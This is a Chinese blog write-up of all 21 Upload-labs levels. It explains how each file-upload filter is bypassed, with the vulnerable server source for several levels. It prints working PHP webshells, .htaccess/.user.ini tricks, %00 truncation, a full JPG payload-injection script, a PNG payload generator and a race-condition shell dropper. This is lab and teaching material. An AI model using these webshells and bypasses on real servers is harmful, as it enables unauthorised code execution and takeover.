当前位置: 首页 > news >正文

Upload-labs靶场Pass01-Pass21全解

文章目录

  • Pass-01 前端JS
    • JS绕过上传
    • 或者用burp抓包的方式
  • Pass-02 MIME检测
  • Pass-03 特殊文件后缀
    • 黑白名单绕过
    • 特殊文件名绕过
  • Pass-04 .htacess上传
  • Pass-05 user.ini文件上传
  • Pass-06 大小写绕过
  • Pass-07 空格绕过
  • Pass-08 .绕过
  • Pass-09 ::$DATA绕过
  • Pass-10 .空格.绕过
  • Pass-11 双写绕过
  • Pass-12 %00截断
  • Pass-13 %00截断
  • Pass-14 上传图片马
  • Pass-15 上传图片马
  • Pass-16 上传图片马
  • Pass-17 上传图片马
    • 上传gif图像
    • 上传png图片
      • IHDR
      • PLTE
      • IDAT
      • IEND
    • 上传jpg图片
  • Pass-18 条件竞争
  • Pass-19 条件竞争
  • Pass-20 /.绕过
  • Pass-21 数组绕过

Pass-01 前端JS

前端JS的检验
加载时弹出对话框
绕过:

1.利用BP工具
2.修改webshell为允许上传类型

先上传个a.php试试,发现弹窗口,只能上传jpg、png、gif类型的图片

image-20240722154750390

写个一句话木马,尝试上传

image-20240722165703450

JS绕过上传

可能是前端存在过滤,打开F12检查一下,发现是checkFile()函数存在过滤

image-20240722164008313

禁用JS,因为这个checkFile()函数是前端的脚本,所以如果经用了JS,实际上就是禁用这个检测的checkFile函数,或者直接删除掉这个checkFile的函数,因为如果要禁用JS的话,就有可能禁用掉正常的JS代码,可能会影响文件的正常上传

然后再次上传a.php,发现上传成功了(然后用hackbar)

image-20240722163356584

image-20240722163443855

或者用burp抓包的方式

image-20240722164259262

修改后缀的png变成php,然后重新发包

可以看到已经上传成功,得到了图片的url

image-20240722164602326

然后用蚁剑连接一下,就可以连接后台噜

密码就是一句话木马上传的那个

image-20240722165453034

image-20240722165605870

Pass-02 MIME检测

服务器MIME检测:检测Content-Type的内容
绕过:修改类型

php文件上传,发现不行

image-20240722170940270

然后将其后缀改成png并抓包

image-20240722171257331

可以看到文件类型为png

image-20240722171414269

修改一下后缀,和上道题的方法相同

image-20240722171345088

然后连接蚁剑,拿到后台

image-20240722171619240

Pass-03 特殊文件后缀

特殊解析后缀

服务器文件名拓展名检测(检测根文件 extension 相关的内容)基于黑名单检测:黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般由个专门的blacklist,里面包含常见的危险脚本文件。
绕过:1.文件大小写让绕过(Php ,PhP pHp,等)2.黑白名单绕过(php,php2,php3,php5,phtml,asp,aspx,ascx,ashx,cer,asa,jsp,jspx)cdx,\x00hh\x46php3.特殊文件名绕过
(1)修改数据包里的文件名为 test.php 或 test.asp_(下划线是空格)由于这种命名格式在       windows系统里是不允许的,所以在绕过上传之后windows系统会自动去掉.点和空格。Linux和      Unix中没有这个特性。
(2)::$DATA(php在windows的时候如果文件名+"::DATA"会把::DATA之后的数据当作文件流处 
理,不会检测后缀名,且保持"::DATA"之前的文件名,其目的就是不检查后缀名)4.0x00截断绕过(5.2 C语言中将 \0 当作字符串的结尾)5.htaccess文件攻击(结合黑名单攻击)6.解析绕过

上传3.php,发现失败了

查看一下源代码吧

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空

浅浅分析一下:isset是确定上传按钮存在

file_exists是确定上传路径存在

deny_ext是删除后缀名为’.asp’,‘.aspx’,‘.php’,‘.jsp’

trim:是php的函数,是去除字符串首尾的空白符

deldot是即从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止

strchr:查找.的第一次出现,并返回此字符串的其余部分

strtolower:把所有字符都转换为小写

str_ireplace:把不允许的后缀名都给删除了,并且不区分大小写 ,将::$DATA替换为空

黑白名单绕过

在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

image-20240722172348649

我们可以试试将3.php改成3.php3

image-20240722172444101

上传成功了,但是文件名的名字发生改变

image-20240722173535403

特殊文件名绕过

进行特殊文件名绕过

image-20240722173301849

可以发现成功上传,但是文件名有变动

image-20240722173458171

Pass-04 .htacess上传

.htacess上传绕过

文件上传之.htaccess绕过黑名单——upload-labs靶场第四关

.htaccess上传绕过文件上传黑名单
Apache服务器允许在每个目录下存在一个名为.htaccess的文件,.htaccess是一个纯文本文件,该文件可以作为Apache辅助配置文件,仅在当前目录生效。.htaccess文件可以实现URL重写、自定义错误页面、MIME类型配置以及权限访问控制等。起到了伪静态应用、图片防盗链、自定义404错误页面、允许或阻止特定IP地址范围访问、目录浏览与主页、禁止访问指定文件类型以及文件密码保护等等的作用。.htaccess只针对Apache服务器有效

上传一个php文件,发现不能上传

image-20240723104354139

查看源码:

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空

上一道题因为过滤了上传文件的文件名后缀,所以我们可以使用php5、phtml、php3、phps等后缀名来进行绕过,但是这一关将这些后缀名也进行了过滤,所以我们可以用.htaccess上传来绕过

可以上传一个.htaccess的文件

创建一个.htacess的文件,里面写入:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
FileMatch表示匹配4.png的文件,当该文件匹配成功后,setHandler表示将文件名中有“4.png”的文件作为PHP类型的文件来进行处理然后再上传4.png,利用图片构造HackBar请求

image-20240723115002670

Pass-05 user.ini文件上传

user.ini文件上传

Upload-labs Pass-05 .user.ini文件上传-CSDN博客

.user.ini文件上传
从上一关,我们可以知道.htaccess可以覆盖apache的配置文件,而user.ini 则可以覆盖php.ini的配置.htaccess文件只能用于apahce,不能用于iis和nginx等中间件
.user.ini只能用于Server API为FastCGI模式下,而正常情况下apache不是运行在此模块下的。
.htaccess和.user.ini都只能用于访问本目录下的文件时进行覆盖。

所以先创建.usere.ini文件

里面写入:
方法一:
auto_prepend_file = 5.png         //包含在文件头
方法二:
auto_append_file = 5.png          //包含在文件尾.user.ini文件的意思是:所有的php文件都自动包含一个5.png文件。user.ini相当于一个用户自定义的php.ini

然后上传.user.ini,再上传5.png

发现上传成功

image-20240723114628128

直接查看图片路径会现在解析图片错误,是因为只有在访问php文件时,才会自动包含5.png,所以作者给了提示在上传目录下是有一个readme.php文件的,所以直接访问此文件就可以包含上传的shell

image-20240723115143474

Pass-06 大小写绕过

大小写绕过

上道题的源码,有个strtolower

image-20240723140534545

这道题的源码:

image-20240723140645018

可以看到没有strtolower了,所以直接用大小写绕过

利用BP抓包看一下,修改一下大小写

image-20240723120826066

大小写绕过原理:
Windows系统下,对于文件名中的大小写不敏感,例如test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感,例如:test.php和 TesT.php就是不一样的。

Pass-07 空格绕过

空格绕过

查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

与上道题源码的区别就是缺少了 ,Window会强制去除空格

报出错的试试改源码,echo输出tempfile和imgpath再试试

 $file_ext = trim($file_ext); //首尾去空

所以使用空格绕过,但是我没执行出来

image-20240723145320919

这道题可以用双写绕过,看到成功上传

7.php的后面加上::DA::DATATA

image-20240723151521026

image-20240723152936557

Pass-08 .绕过

.绕过

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

发现对文件后缀没有进行去.操作

在Windows系统下,文件后缀最后一个点会被自动去掉

但我好像没执行成功QAQ,先记一下这个方法吧

Pass-09 ::$DATA绕过

Windows文件流特性绕过

://DATA必须在Windows下,php在Windows的时候如果文件名加上://DATA会把$DATA后面的数据当作文件流处理,且保持$DATA之前的文件名,目的就是不检查后缀名

查看源代码

 if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空

可以看到少了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA这一行,在9.php的后面增加::$DATA,上传成功

image-20240723152552791

image-20240723152730542

Pass-10 .空格.绕过

用.空格.绕过

查看源代码:

if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

和前面的报错没有不同,但是没有做循环处理,所以在文件名后加上. .

讲一下为啥能这么写

经过deldot将点去掉变成.空格 然后trim首尾去空,将空格去掉,变成一个点,就成了上面的.过滤,

Pass-11 双写绕过

文件名双写绕过

查看源码:

if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;  

str_ireplace就是把不允许的后缀名都给删除了,并且不区分大小写

从底下也能看到把php给删除掉了

image-20240723162950818

执行成功

image-20240724085235878

Pass-12 %00截断

%00截断

这道题需要配置一下环境,这个00截断需要php的环境小于5.3.4,同时magic_quotes_gpc需要off的状态

然后配置环境的时候,还遇到了php下载不下来的情况,是说网络不稳定

解决方案:PHPStudy 下载PHP提示“当前网络不稳定,下载失败”_php5.2.17下载不了 phpstudy-CSDN博客

查看一下源码:

if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

ext_arr是白名单的限制,只能上传这些东西

file_ext是通过查找文件名中的最后一个点.来确定文件扩展名`

if(in_array)是检查文件扩展名是否在允许的列表中

temp_file获取上传文件的临时路径

img_path构造目标文件的完整路径和文件名,包括一个随机数和当前时间戳以确保文件名的唯一性

image-20240724085750316

上传一个php文件,发现又变成白名单了

抓包,仔细观察一下,发现前面有个上传路径

image-20240725090951183

可以用%00进行截断,

00截断的原理是啥捏?

关于上传中00截断的理解与分析 | Tatsumaki’Blog

0x00是字符串结束的标志,通过手动添加字符串的方式,将00后面的内容进行截断,但是00后面的内容又可以帮助我们绕过文件检测

00截断不能在文件名处修改,比如1.php%001.png,在程序提取后缀名的时候,遇到%00就自动结束了,所以它提取到的后缀名还是.php
所以00截断用在文件上传路径的地方,path:/uploads/ 因为这种情况path:/uploads/1.php%00就是上传1.php

%00截断什么时候进行urldecode捏?

path在url、cookie或者上传方式不是multipart/from-data的时候,就不用进行url编码

当path存在url、cookie里面的时,在提交数据的时候,浏览器会对数据进行url编码,到服务器,则会对数据进行一次解码操作(GET会自动解码,POST不会自动解码,反正GET方法不用对%00进行urldecode,而POST需要对%00进行urldecode)

然后这道题在12.php后面加上%00发现上传成功了

image-20240725092957409

执行成功

image-20240725093224281

Pass-13 %00截断

00截断

可以看到它的上传路径写在了底下,就是POST型,需要对%00进行urldecode

image-20240725093716835

image-20240725093919780

执行成功

image-20240725094032580

Pass-14 上传图片马

上传图片马

PHP中pack、unpack的详细用法_php unpack-CSDN博客

image-20240724093912714

这道题要求我们上传一个图片马到服务器

Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM

打开cmd,/b表示二进制文件binary/a代表文字文件ascii

copy logo.jpg/b + shell.php/a shell.jpg

shell.php里面就是要执行的一句话木马

<?php 
phpinfo();
@eval($_POST['cmd']);
?>

其实就是将shell.php里面的一句话木马插入到这个图片中,也可以直接在图片中插入也行(就是害怕直接插入图片不能正常显示,所以用的上面的那个命令)

image-20240724103016731

以png图片为例,jpg,gif图片应该都差不多

可以看到上传成功,然后执行就行

image-20240724103344436

因为这个包含一个文件上传漏洞

所以应该是可以用文件上传漏洞执行里面的Php代码

image-20240724105619555

然后查看一下源代码:

$strInfo = @unpack("C2chars", $bin); 

有个unpack的函数从二进制字符串对数据进行解包

Pass-15 上传图片马

上传图片马

还是上传一个图片马,所以先查看一下源代码吧

  $info = getimagesize($filename);

可以看到有个getimagesize用于获取图像大小以及相关的信息,成功返回一个数组,失败则返回FALSE并产生一个错误信息

和上道题差不多吧

image-20240724105831825

Pass-16 上传图片马

上传图片马

直接查看页面源代码:

$image_type = exif_imagetype($filename);

exif_imagetype用来判断一个图像的类型

但是这个需要开启php_exif模块

服务器配置说明:

1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。

3.找到[exif]段,把下面语句的分号去掉。

;exif.encode_unicode = ISO-8859-15
;exif.decode_unicode_motorola = UCS-2BE
;exif.decode_unicode_intel = UCS-2LE
;exif.encode_jis =
;exif.decode_jis_motorola = JIS
;exif.decode_jis_intel = JIS

Pass-17 上传图片马

难一点的上传图片马

upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)

吼,本来想按刚刚的那个方法试一下的,发现不行欸QAQ

查看一下其中一段源代码吧

上传gif图像

在网上先下载一个Gif图片,将<?php phpinfo();?>添加到Test.gif的尾部image-20240724113854621

成功上传

image-20240724114023650

打开上传到upload文件夹的gif图片

image-20240724114159890

发现刚刚上传的php代码被删除掉了

关于这个gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传有php代码的文件

对比一下,蓝色部分是没有发生变化的

image-20240724114914286

将php代码插在前面

image-20240724115119185

然后再保存下来,重新进行上传,发现变成小白人了,哈哈

image-20240724115217485

可以看到php代码没有被删除

image-20240724115501309

所以成功上传图片马

上传png图片

这个好难QAQ

先下载一个png图片

分析一下png图片

png定义了两种类型的数据块 。一种被称为关键数据块(标准),一种被称为辅助数据块(可选),

数据块的结构

IHDR

数据块IHDR:它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

直接用生成好的图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

看到已经写入了

image-20240724143638712

看看这个命令<?=$_GET[0]($_POST[1]);?>,首先$_GET[0]指的是以0为参数进行GET传参,其次$_POST[1]指的是用1来接受POST提交上来的数据

上传图片可以上传

上传jpg图片

先在网上下载一张jpg的图片

现将这张图片进行上传,然后将上传的图片下载下来

image-20240724145141176

使用下面这个脚本,将图片进行处理

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

执行命令为:php jpg_payload.php 1205354342.jpg

image-20240724150333034

可以看到已经写入php代码

image-20240724150314330

Pass-18 条件竞争

条件竞争

查看一下原代码:

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

file_ext是获取文件上传的扩展名,即文件的最后一部分

upload_file拼接出文件的完整路径

in_array检查是否在白名单中

rename将文件进行重命名

unlink如果上传的文件不在允许的类型数组中,则设置错误的信息,并删除上传的文件

条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。

有一定的处理顺序,就像这道题先是进行上传然后进行重命名

就像在当我们在手机端进行提现操作时,账户余额为500元,向服务器发送提现500元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500元的请求会发生什么呢?条件竞争利用成功的结果就是多了500大洋。

所以对于这道题,我们可以在判断白名单和unlink的操作之间上传一个木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>写入shell.php

image-20240724160005999

image-20240724160035260

image-20240724160128404

不断访问上传的shell.php文件,一旦有200的状态码,说明条件竞争成功

接着用Python脚本去不停的访问shell.php,一直到成功

import requests
url = "http://192.168.181.203:8014/upload-labs/upload/test.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

当出现ok时,可以停止BP

image-20240724163123711

Pass-19 条件竞争

条件竞争

上传以后在哪个图片,可以看到图片的上传路径发生改变

image-20240724163943094

查看一下源码

image-20240724164317242

然后和上一题差不多的说

Pass-20 /.绕过

/.进行绕过或者是00绕过

查看一下原代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

move_uploaded_file:会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。

image-20240725103154107

执行成功

image-20240725103222082

Pass-21 数组绕过

数组绕过

查看一下源码:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

需要分析一下

可以看到注释上有

1.检查了MIME

2.检查了文件名

3.判断$file是否是数组,不是数组以.来分割数组 is_array — 检测变量是否是数组 explode — 使用一个字符串分割另一个字符串

4.取 $file 最后一个元素,作为文件后缀进行检查

5.取 f i l e 第 一 位 和 第 ‘ file 第一位和第file第一位和第‘file[count($file) - 1]作为文件名和后缀名保存

数组首元素和数组最后一个元素进行拼接

首先我们肯定要绕过对非数组进行分割处,不然直接被卡死了。如果我们传入的数组为save_name=["muma.php","jpg"],这样可以绕过后缀检测,但是一直到命名处$file[count($file) - 1]对应的是”jpg”,那么最终文件命名为muma.php.jpg这种情况。我们需要的是muma.php,可以试着将数组传为save_name=["muma.php",不设置,"jpg"],当我们save_name[1]不设置的时候,count结果仍然是2,但是文件名后缀拼接出来为空,结果为muma.php. 再根据windows特性将.省略,达到文件上传的目的

因为count($file)返回数组中的元素数量,而不会考虑数组中未设置的元素

image-20240725102853403

然后一下这个东西

save_name[0]=21.php
save_name[1]=nothing
save_name[2]=png
因为如上面所说,所以count ($file)=2-1=1,返回数组1的值,但是有由于数组[1]设置的为空,所以就直接为21.php

执行成功

image-20240725102923298

相关文章:

Upload-labs靶场Pass01-Pass21全解

文章目录 Pass-01 前端JSJS绕过上传或者用burp抓包的方式 Pass-02 MIME检测Pass-03 特殊文件后缀黑白名单绕过特殊文件名绕过 Pass-04 .htacess上传Pass-05 user.ini文件上传Pass-06 大小写绕过Pass-07 空格绕过Pass-08 .绕过Pass-09 ::$DATA绕过Pass-10 .空格.绕过Pass-11 双写…...

使用openpyxl库对Excel数据有效性验证

哈喽,大家好,我是木头左! 本文将重点介绍如何使用openpyxl库进行Excel数据验证。 什么是Excel数据验证 Excel数据验证是一种功能,可以限制单元格中输入的数据类型和范围。例如,可以设置一个单元格只能输入日期,或者只能输入大于0的数字。这样,可以确保数据的准确性和一…...

【算法】浅析深度优先搜索算法

